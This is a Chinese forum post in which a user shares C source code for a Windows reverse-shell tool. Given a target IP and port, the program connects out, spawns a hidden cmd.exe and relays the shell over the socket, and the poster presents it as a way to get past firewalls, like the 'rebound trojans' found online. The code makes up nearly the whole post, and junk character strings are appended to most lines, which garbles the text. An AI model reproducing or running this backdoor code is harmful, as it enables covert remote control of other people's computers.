社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 4450阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 EK'!}OGCG  
v0y(58Rz.  
/* ============================== 0IpmRH/  
Rebound port in Windows NT r*Xuj=  
By wind,2006/7 ;d?R:Uw8  
===============================*/ F[0]/  
#include ~ K=b\xc^  
#include Mp]rUPK  
pJ{Y lS{  
#pragma comment(lib,"wsock32.lib") W>LR\]Ti@  
D,6:EV"sa  
void OutputShell(); t&p|Ynz?i  
SOCKET sClient; +h$ 9\  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; _-\#i  
cZ06Kx..  
void main(int argc,char **argv) W8<%[-r  
{ ,vDbp?)'U  
WSADATA stWsaData; d'2A,B~_*  
int nRet; liSmjsk  
SOCKADDR_IN stSaiClient,stSaiServer; w>YDNOk  
<uJ@:oWG7  
if(argc != 3) qWw=8Bq  
{ \DzGQ{`~m  
printf("Useage:\n\rRebound DestIP DestPort\n"); yHGADH0B  
return; pXUSLs  
} (#'>(t(4  
@@%ataUSBT  
WSAStartup(MAKEWORD(2,2),&stWsaData); q*KAk{kR(v  
#1[u (<AS  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =QsYXK7Mn4  
o}!PQ#`M  
stSaiClient.sin_family = AF_INET; a9G8q>h]O  
stSaiClient.sin_port = htons(0); 4R*,VR.K  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); F\! `/4  
{8aTV}Ha2  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) *] (iS  
{ l^qI, M  
printf("Bind Socket Failed!\n"); _j3fAr(V  
return; |{8Pb3#U  
} 626r^c=  
rGO8!X 3d  
stSaiServer.sin_family = AF_INET; :-'qC8C  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ]{iQ21`a-  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); $C\BcKlmv  
:%.D78&  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ?8$Q-1=  
{ z@Y;r=v  
printf("Connect Error!"); oQ#8nu{k  
return; m2o0y++TjW  
} ]tD]Wx%  
OutputShell(); v1[29t<I!  
} &o*A {  
l\mPHA23  
void OutputShell() OY d !v`<  
{  `]X>V,  
char szBuff[1024]; 0mnw{fE8_  
SECURITY_ATTRIBUTES stSecurityAttributes; ]! dTG  
OSVERSIONINFO stOsversionInfo; / +\9S  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 6pzSp  
STARTUPINFO stStartupInfo; s CRdtP  
char *szShell; OH88n69  
PROCESS_INFORMATION stProcessInformation; Z7#+pPt!  
unsigned long lBytesRead; 7"mc+QOp  
Zh,71Umz  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); g ?k=^C  
IU[ [ H#  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); #jk_5W  
stSecurityAttributes.lpSecurityDescriptor = 0; TO_e^A#  
stSecurityAttributes.bInheritHandle = TRUE; `g,..Ns-r  
Ngwb Q7)  
[~ fraK,)  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); R@0R`Zs  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); p[-O( 3Y  
G"6 !{4g  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); rZF*q2?  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :t[_:3@  
stStartupInfo.wShowWindow = SW_HIDE; KP"+e:a%  
stStartupInfo.hStdInput = hReadPipe; Rv=YFo[B  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Vj-h;rB0z  
Th%zn2R B  
GetVersionEx(&stOsversionInfo); >V937  
(ZGbh MK  
switch(stOsversionInfo.dwPlatformId) ]yu:i-SfP  
{ \lY_~*J  
case 1: pJ=#zsE0  
szShell = "command.com"; ;*N5Y}?j'  
break; ),)lzN%!  
default: <GJbmRc|  
szShell = "cmd.exe"; N;d] 14|  
break; u y+pP!<  
} /{[o ~:'p  
2/f}S?@   
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ; KA~Z5x;  
*#2h/Q.  
send(sClient,szMsg,77,0); j+!v}*I![  
while(1) 9ati`-y2  
{ ~[ F`"  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); H.;Q+A,8^  
if(lBytesRead) pw#-_  
{ @L`jk+Y0vF  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); n|hNM?v  
send(sClient,szBuff,lBytesRead,0); G B^Br6  
} 9$Y=orpWxr  
else 83m3OD_y  
{ ~>G^=0LT  
lBytesRead=recv(sClient,szBuff,1024,0); pdMc}=K  
if(lBytesRead<=0) break; @d_M@\r=j  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); KXrjqqXs  
} Z,=1buSz_  
} k!^{eOM  
YQ} o?Q$z  
return; Fcx&hj1gQ  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
10+5=?,请输入中文答案:十五